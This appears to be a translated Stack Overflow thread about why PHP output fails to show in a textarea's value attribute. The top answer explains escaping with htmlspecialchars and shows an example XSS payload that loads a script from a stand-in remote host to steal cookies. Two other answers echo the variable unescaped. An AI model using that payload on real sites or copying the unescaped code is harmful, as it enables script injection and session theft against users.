我在这里遇到一些问题,我正在尝试使用编辑按钮创建一个新闻系统,这一切都很好但是我遇到了“textarea”的问题,我可以在输入上显示结果但是当我尝试在textarea中显示它时,它不会,看起来:
此代码完美无缺:
<input name="txt_02" size="87" maxlength="100" id="txt_Resumen" maxlength="140" value="<?php echo $not_Resumen?>"/>
这不会:
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" value="<?php echo $not_Contenido ?>">
</textarea>
我尝试使用$ not_Resumen和textarea中的其他内容并且它不起作用,textarea会在没有文本的情况下显示为空,这应该是我正在制作的一个小错误但我找不到它。感谢。
答案 0 :(得分:18)
只需将其放在><
内,即no value attribute:
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>
您还应该使用htmlspecialchars
,以便$not_Contenido
包含</textarea>
时,textarea不会中断。
这有时会被忽略,但如果$not_Contenido
包含类似的内容:
</textarea><script src="http://remotedomain.com/evilscript.js"></script>
攻击者可以运行他们想要的任何内容,并且您的所有客户端都将下载并运行您网站上的脚本。常见的攻击是将cookie发送到他们的域名。
答案 1 :(得分:2)
尝试
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion">
<?php echo $not_Contenido; ?>
</textarea>
我们不会给textbox
赋予价值。
答案 2 :(得分:2)
值不是textarea的属性,因此只需放置在标记<textarea>?</textarea>
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" ><?php echo $not_Contenido ?>
</textarea>
答案 3 :(得分:2)
将值放在textarea的开始和结束标记之间,就像其他HTML标记一样,textarea没有属性“value”
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>